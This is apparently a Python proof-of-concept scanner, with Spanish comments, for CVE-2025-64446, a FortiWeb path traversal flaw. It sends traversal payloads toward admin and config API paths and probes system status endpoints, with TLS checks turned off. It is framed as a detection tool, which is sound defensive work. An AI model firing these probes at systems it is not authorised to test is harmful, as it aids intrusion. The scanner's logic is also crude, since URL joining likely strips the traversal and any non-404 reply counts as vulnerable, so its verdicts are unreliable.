#!/usr/bin/env python3 """ CVE-2025-64446 Proof of Concept FortiWeb Path Traversal Vulnerability Detector Solo para fines educativos y de investigación autorizada """ import requests import argparse import sys import urllib3 from urllib.parse import urljoin # Deshabilitar advertencias SSL urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) class FortiWebScanner: def __init__(self, target, port=443, ssl=True): self.target = target self.port = port self.protocol = "https" if ssl else "http" self.base_url = f"{self.protocol}://{target}:{port}" self.session = requests.Session() self.session.verify = False def check_vulnerability(self): """Verifica si el objetivo es potencialmente vulnerable""" print(f"[*] Escaneando {self.base_url}") # Patrones de path traversal para probar test_paths = [ "../../../api/v2.0/system/admin", ".././../api/v2.0/system/config", "....//....//....//api/v2.0/cmdb/system", ] for path in test_paths: try: url = urljoin(self.base_url, path) print(f"[*] Probando: {path}") response = self.session.get(url, timeout=10) # Analizar respuestas que podrían indicar vulnerabilidad if response.status_code != 404: print(f"[!] Respuesta inusual en {path}: {response.status_code}") if len(response.content) > 0: print(f"[!] Contenido recibido: {len(response.content)} bytes") return True except requests.exceptions.RequestException as e: print(f"[!] Error al conectar: {e}") return False return False def get_system_info(self): """Intenta obtener información del sistema (solo detección)""" print("[*] Recopilando información del sistema...") info_endpoints = [ "/api/v2.0/system/status", "/api/v2.0/system/info", ] for endpoint in info_endpoints: try: url = urljoin(self.base_url, endpoint) response = self.session.get(url, timeout=5) if response.status_code == 200: print(f"[+] Endpoint accesible: {endpoint}") print(f" Respuesta: {len(response.content)} bytes") except: pass def main(): banner = """ CVE-2025-64446 - FortiWeb Path Traversal Scanner Solo para investigación y pruebas autorizadas """ print(banner) parser = argparse.ArgumentParser(description='CVE-2025-64446 PoC Scanner') parser.add_argument('-t', '--target', required=True, help='Target IP address') parser.add_argument('-p', '--port', default=443, type=int, help='Target port (default: 443)') parser.add_argument('--http', action='store_true', help='Use HTTP instead of HTTPS') args = parser.parse_args() # Validar entrada if not args.target: print("[-] Se requiere dirección IP objetivo") sys.exit(1) scanner = FortiWebScanner(args.target, args.port, not args.http) print(f"[*] Iniciando escaneo de {args.target}:{args.port}") print("[*] Este es un escáner de DETECCIÓN solamente") # Obtener información básica scanner.get_system_info() # Verificar vulnerabilidad if scanner.check_vulnerability(): print("[!] El sistema podría ser vulnerable a CVE-2025-64446") print("[!] Se recomienda actualizar inmediatamente") else: print("[-] No se detectaron indicios claros de vulnerabilidad") print("\n[*] Escaneo completado") if __name__ == "__main__": main()